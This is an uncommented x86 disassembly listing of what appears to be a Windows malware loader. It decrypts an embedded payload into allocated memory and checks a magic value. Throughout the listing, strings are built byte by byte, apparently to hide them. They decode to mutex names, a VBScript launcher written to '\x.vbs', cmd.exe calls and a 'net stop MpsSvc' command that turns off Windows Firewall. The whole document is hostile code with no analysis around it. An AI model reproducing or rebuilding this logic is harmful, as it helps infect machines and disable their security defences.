mov esi, dword [ebp - 0x20]
sub edx, edx
mov dl, byte [esi]
push edx
pop edi
xor edx, edx
mov dl, byte [esi + 2]
lea esi, [edi + 4]
cmp edx, esi
jne 0x409265
mov esi, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [eax + esi + 4]
lea esi, [edi + 1]
cmp edx, esi
jne 0x409265
mov esi, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [eax + esi + 6]
lea esi, [edi - 2]
cmp edx, esi
jne 0x409265
mov esi, dword [ebp + 0xc]
xor edx, edx
add edi, 0xfffffffd
mov dl, byte [eax + esi + 8]
cmp edx, edi
jne 0x409265
mov esi, dword [ebp - 0x90]
inc esi
or ecx, ecx
mov dword [ebp - 0x90], esi
jne 0x409256
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x20]
add ecx, edx
jmp 0x40925c
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x90], 2
jae 0x409274
mov esi, dword [ebp - 0x20]
mov edx, dword [ebp + 8]
inc eax
inc esi
cmp eax, edx
mov dword [ebp - 0x20], esi
jb 0x4091f6
mov esi, dword [ebp - 0x120]
mov eax, dword [ebp + 0xc]
sub esi, ecx
add ecx, eax
push pe_nt_image_headers32
mov dword [ebp + 8], ecx
lea ecx, [esi + 0x400]
push 0x3000
push ecx
push 0
call dword [ebp - 0x5c4]
push eax
pop edi
or esi, esi
mov dword [ebp + 0xc], edi
jbe 0x4092bc
mov eax, dword [ebp + 8]
push edi
pop ecx
sub eax, edi
mov dword [ebp + 8], esi
mov dl, byte [eax + ecx]
mov byte [ecx], dl
mov edx, dword [ebp + 8]
inc ecx
dec edx
mov dword [ebp + 8], edx
jne 0x4092ad
sub eax, eax
sub ecx, ecx
mov dword [ebp - 0x143], eax
add edi, esi
mov dword [ebp - 0x13f], eax
mov byte [ebp - 0x144], 0
mov dword [ebp - 0x13b], eax
mov byte [ebp - 0xf8], 0x1b
mov dword [ebp - 0x137], eax
mov byte [ebp - 0xf7], 0x35
mov word [ebp - 0x133], ax
mov byte [ebp - 0xf6], 0x27
mov byte [ebp - 0x131], al
mov byte [ebp - 0xf5], 0xae
mov byte [ebp - 0xf4], 0x8d
mov dword [ebp + 8], edi
mov dl, byte [ecx + edi - 0x14]
mov byte [ebp + ecx - 0x144], dl
inc ecx
cmp ecx, 0x14
jb 0x409314
push 5
lea eax, [ebp - 0xf8]
push 0x14
lea ecx, [ebp - 0x144]
push eax
push ecx
call fcn.004058b0
mov ecx, dword [ebp + 0xc]
lea edx, [esi - 0x14]
push 0x14
lea eax, [ebp - 0x144]
push edx
push eax
push ecx
call fcn.004058b0
mov ecx, 0x2fa
sub eax, eax
lea edi, [ebp - 0x36d7]
mov byte [ebp - 0x36d8], 0
rep stosd dword es:[edi], eax
mov edx, dword [ebp + 0xc]
sub esi, 0x4650
stosw word es:[edi], ax
add esp, 0x20
lea esi, [edx + esi - 0xc00]
stosb byte es:[edi], al
xor eax, eax
mov cl, byte [eax + esi]
mov byte [ebp + eax - 0x36d8], cl
inc eax
cmp eax, 0x448
jb 0x409380
lea edx, [ebp - 0x36d8]
push 0x448
lea eax, [ebp - 0x2304]
push edx
push eax
call fcn.004059d0
mov eax, dword [ebp - 0x2304]
add esp, 0xc
cmp eax, 0xff5a3c8d
jne 0x409b95
call dword [ebp - 0x5bc]
cmp eax, 0x2bf20
jbe 0x4093ea
cmp dword [ebp - 0x22e8], 1
jne 0x4093ea
mov eax, dword [ebp - 0x22f4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2300]
or eax, eax
je 0x409409
push 0
push 6
call fcn.00405a10
add esp, 8
test al, al
je 0x409409
call fcn.00405a00
mov eax, dword [ebp - 0x22fc]
test eax, eax
je 0x409428
push 0
push 5
call fcn.00405a10
add esp, 8
test al, al
je 0x409428
call fcn.00405a00
mov eax, dword [ebp - 0x22f8]
or eax, eax
je 0x4094e7
push 0
push 4
mov byte [ebp - 0x4c], 0x55
mov byte [ebp - 0x4b], 0x41
mov byte [ebp - 0x4a], 0x43
mov byte [ebp - 0x49], 0x4d
mov byte [ebp - 0x48], 0x75
mov byte [ebp - 0x47], 0x74
mov byte [ebp - 0x46], 0
call fcn.00405a10
add esp, 8
test al, al
jne 0x4094d9
mov byte [ebp - 0xd6d8], al
mov ecx, 0x27ff
xor eax, eax
lea edi, [ebp - 0xd6d7]
rep stosd dword es:[edi], eax
mov edx, dword [ebp + 8]
mov ecx, 0x2800
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xd6d8]
lea esi, [edx - 0xb000]
lea edi, [ebp - 0xd6d8]
push eax
rep movsd dword es:[edi], dword [esi]
push 8
call fcn.00405a10
mov edi, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x5b0]
add esp, 8
mov dword [ebp + 8], 0x3e8
push 0xa
call edi
lea ecx, [ebp - 0x4c]
push ecx
push 0
push 0x1f0001
call esi
or eax, eax
je 0x4094ce
push 0
call dword [ebp - 0x5b4]
mov eax, dword [ebp + 8]
dec eax
mov dword [ebp + 8], eax
jne 0x4094b1
jmp 0x4094e7
lea edx, [ebp - 0x4c]
push edx
push 0
push 0
call dword [ebp - 0x63c]
mov eax, dword [ebp - 0x22e4]
or eax, eax
je 0x409a05
mov ecx, 0xf9
xor eax, eax
lea edi, [ebp - 0x2aeb]
mov byte [ebp - 0x2aec], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dl, 0x3a
mov ecx, 0xe9
sub eax, eax
lea edi, [ebp - 0xa52]
mov byte [ebp - 0xa94], 0x20
mov byte [ebp - 0xa93], 0x2f
mov byte [ebp - 0xa92], 0x63
mov byte [ebp - 0xa91], 0x20
mov byte [ebp - 0xa90], bl
mov byte [ebp - 0xa8f], 0x63
mov byte [ebp - 0xa8e], 0x68
mov byte [ebp - 0xa8d], 0x6f
mov byte [ebp - 0xa8c], 0x20
mov byte [ebp - 0xa8b], 0x6f
mov byte [ebp - 0xa8a], 0x6e
mov byte [ebp - 0xa89], 0x20
mov byte [ebp - 0xa88], bl
mov byte [ebp - 0xa87], 0x72
mov byte [ebp - 0xa86], 0x72
mov byte [ebp - 0xa85], 0x6f
mov byte [ebp - 0xa84], 0x72
mov byte [ebp - 0xa83], 0x20
mov byte [ebp - 0xa82], 0x72
mov byte [ebp - 0xa81], bl
mov byte [ebp - 0xa80], 0x73
mov byte [ebp - 0xa7f], 0x75
mov byte [ebp - 0xa7e], 0x6d
mov byte [ebp - 0xa7d], bl
mov byte [ebp - 0xa7c], 0x20
mov byte [ebp - 0xa7b], 0x6e
mov byte [ebp - 0xa7a], bl
mov byte [ebp - 0xa79], 0x78
mov byte [ebp - 0xa78], 0x74
mov byte [ebp - 0xa77], dl
mov byte [ebp - 0xa76], 0x43
mov byte [ebp - 0xa75], 0x72
mov byte [ebp - 0xa74], bl
mov byte [ebp - 0xa73], 0x61
mov byte [ebp - 0xa72], 0x74
mov byte [ebp - 0xa71], bl
mov byte [ebp - 0xa70], 0x4f
mov byte [ebp - 0xa6f], 0x62
mov byte [ebp - 0xa6e], 0x6a
mov byte [ebp - 0xa6d], bl
mov byte [ebp - 0xa6c], 0x63
mov byte [ebp - 0xa6b], 0x74
mov byte [ebp - 0xa6a], 0x28
mov byte [ebp - 0xa69], 0x22
mov byte [ebp - 0xa68], 0x57
mov byte [ebp - 0xa67], 0x53
mov byte [ebp - 0xa66], 0x63
mov byte [ebp - 0xa65], 0x72
mov byte [ebp - 0xa64], 0x69
mov byte [ebp - 0xa63], 0x70
mov byte [ebp - 0xa62], 0x74
mov byte [ebp - 0xa61], 0x2e
mov byte [ebp - 0xa60], 0x53
mov byte [ebp - 0xa5f], 0x68
mov byte [ebp - 0xa5e], bl
mov byte [ebp - 0xa5d], 0x6c
mov byte [ebp - 0xa5c], 0x6c
mov byte [ebp - 0xa5b], 0x22
mov byte [ebp - 0xa5a], 0x29
mov byte [ebp - 0xa59], 0x2e
mov byte [ebp - 0xa58], 0x52
mov byte [ebp - 0xa57], 0x75
mov byte [ebp - 0xa56], 0x6e
mov byte [ebp - 0xa55], 0x20
mov byte [ebp - 0xa54], 0x22
mov byte [ebp - 0xa53], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [ebp - 0x14bc], 0x22
mov byte [ebp - 0x14bb], 0x2c
mov ecx, 0xf8
xor eax, eax
lea edi, [ebp - 0x14b5]
mov byte [ebp - 0x14ba], 0x31
mov byte [ebp - 0x14b9], dl
mov byte [ebp - 0x14b8], 0x20
mov byte [ebp - 0x14b7], 0x3e
mov byte [ebp - 0x14b6], 0
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x2aec]
push 0x104
push eax
push 0
call dword [ebp - 0x5b8]
or ecx, 0xffffffff
lea edi, [ebp - 0x2aec]
xor eax, eax
lea edx, [ebp - 0xa94]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0xecc], al
push edi
pop esi
push edx
pop edi
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0xa94]
and ecx, 3
mov byte [ebp - 0x1ebc], 0x22
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x14bc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x1ebb], 0
push edi
pop esi
push edx
pop edi
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0
and ecx, 3
mov byte [ebp + 0xa], 0x22
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xf9
lea edi, [ebp - 0xecb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xf8
sub eax, eax
lea edi, [ebp - 0x14b5]
mov byte [ebp - 0x14bc], 0x5c
mov byte [ebp - 0x14bb], 0x78
mov byte [ebp - 0x14ba], 0x2e
mov byte [ebp - 0x14b9], 0x76
mov byte [ebp - 0x14b8], 0x62
mov byte [ebp - 0x14b7], 0x73
mov byte [ebp - 0x14b6], 0
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0xf9
sub eax, eax
lea edi, [ebp - 0x1eba]
mov byte [ebp + 0xb], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 7
lea eax, [ebp - 0xecc]
push eax
push 0
call dword [ebp - 0x630]
or ecx, 0xffffffff
lea edi, [ebp - 0xecc]
xor eax, eax
lea edx, [ebp - 0x1ebc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edi
pop esi
mov edi, edx
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x1ebc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [ebp - 0x14bc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edi
pop esi
push edx
pop edi
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
pop ecx
lea edx, [ebp - 0x1ebc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp + 0xa]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edi
pop esi
push edx
pop edi
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0xa94]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x1ebc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edi
pop esi
push edx
pop edi
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ecx
pop ecx
push 0x11
pop ecx
lea edi, [ebp - 0x6ac]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x6ac], 0x44
mov ecx, 0xf7
lea edi, [ebp - 0x14b3]
mov word [ebp - 0x67c], ax
mov byte [ebp - 0x14bc], 0x5c
mov byte [ebp - 0x14bb], 0x63
mov byte [ebp - 0x14ba], 0x6d
mov byte [ebp - 0x14b9], 0x64
mov byte [ebp - 0x14b8], 0x2e
mov byte [ebp - 0x14b7], bl
mov byte [ebp - 0x14b6], 0x78
mov byte [ebp - 0x14b5], bl
mov byte [ebp - 0x14b4], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x26ec]
push 0x104
push eax
mov dword [ebp - 0x680], 1
call dword [ebp - 0x25c]
lea edi, [ebp - 0x14bc]
or ecx, 0xffffffff
sub eax, eax
lea edx, [ebp - 0x26ec]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
push edx
pop edi
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
pop ecx
lea edx, [ebp - 0x26ec]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xa94]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edi
pop esi
mov edi, edx
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
pop ecx
lea eax, [ebp - 0x30]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x6ac]
lea edx, [ebp - 0x26ec]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push 0
call dword [ebp - 0x5c0]
push 0x320
call dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
push 0
push eax
call dword [ebp - 0x234]
mov eax, dword [ebp - 0x22ec]
or eax, eax
je 0x409a2f
lea ecx, [ebp - 0x1cdc]
push 0x104
push ecx
push 0
call dword [ebp - 0x220]
lea edx, [ebp - 0x1cdc]
push 6
push edx
call dword [ebp - 0x68]
mov eax, dword [ebp - 0x22f0]
or eax, eax
je 0x409b76
push ecx
pop ecx
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x6ac]
mov byte [ebp - 0x64], al
rep stosd dword es:[edi], eax
mov word [ebp - 0x67c], ax
lea eax, [ebp - 0xbe8]
push 0x104
push eax
mov dword [ebp - 0x6ac], 0x44
mov dword [ebp - 0x680], 1
mov byte [ebp - 0x6c], 0x5c
mov byte [ebp - 0x6b], 0x63
mov byte [ebp - 0x6a], 0x6d
mov byte [ebp - 0x69], 0x64
mov byte [ebp - 0x68], 0x2e
mov byte [ebp - 0x67], bl
mov byte [ebp - 0x66], 0x78
mov byte [ebp - 0x65], bl
call dword [ebp - 0x25c]
lea edi, [ebp - 0x6c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xbe8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0xfa], al
push edi
pop esi
push edx
pop edi
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
pop ecx
lea eax, [ebp - 0x30]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x6ac]
lea edx, [ebp - 0x10c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xbe8]
push edx
push eax
mov byte [ebp - 0x10c], 0x2f
mov byte [ebp - 0x10b], 0x63
mov byte [ebp - 0x10a], 0x20
mov byte [ebp - 0x109], 0x6e
mov byte [ebp - 0x108], bl
mov byte [ebp - 0x107], 0x74
mov byte [ebp - 0x106], 0x20
mov byte [ebp - 0x105], 0x73
mov byte [ebp - 0x104], 0x74
mov byte [ebp - 0x103], 0x6f
mov byte [ebp - 0x102], 0x70
mov byte [ebp - 0x101], 0x20
mov byte [ebp - 0x100], 0x4d
mov byte [ebp - 0xff], 0x70
mov byte [ebp - 0xfe], 0x73
mov byte [ebp - 0xfd], 0x53
mov byte [ebp - 0xfc], 0x76
mov byte [ebp - 0xfb], 0x63
call dword [ebp - 0x5c0]
cmp dword [ebp - 0x22e0], 1
jne 0x409b95
mov ecx, dword [ebp + 0xc]
push ecx
push 9
call fcn.00405a10
add esp, 8
push 0x3e8
call dword [ebp - 0x3c]
lea edx, [ebp - 0x5c]
mov byte [ebp - 0x5c], 0x71
push edx
push 0
push 0x1f0001
mov byte [ebp - 0x5b], 0x61
mov byte [ebp - 0x5a], 0x7a
mov byte [ebp - 0x59], 0x77
mov byte [ebp - 0x58], 0x73
mov byte [ebp - 0x57], 0x78
mov byte [ebp - 0x56], bl
mov byte [ebp - 0x55], 0x64
mov byte [ebp - 0x54], 0x63
mov byte [ebp - 0x53], 0
call dword [ebp - 0x5b0]
push 0
push 5
call fcn.00405a10
add esp, 8
test al, al
jne 0x409bfe
push 0
push 6
call fcn.00405a10
add esp, 8
test al, al
jne 0x409bfe
mov esi, dword [ebp - 0x5bc]
call esi
cmp eax, 0x493e0
jae 0x409bfe
call esi
cmp dword [ebp - 0x22e0], 0xa
jne 0x409c1e
mov eax, dword [ebp + 0xc]
push eax
push 0xa
call fcn.00405a10
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
cmp dword [ebp - 0x22d0], 1
jne 0x409c3e
mov ecx, dword [ebp + 0xc]
push ecx
push 0x14
call fcn.00405a10
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
mov edx, dword [ebp + 0xc]
push edx
push 7
call fcn.00405a10
add esp, 8
pop edi
pop esi
xor al, al
pop ebx
push ebp
pop esp
pop ebp
ret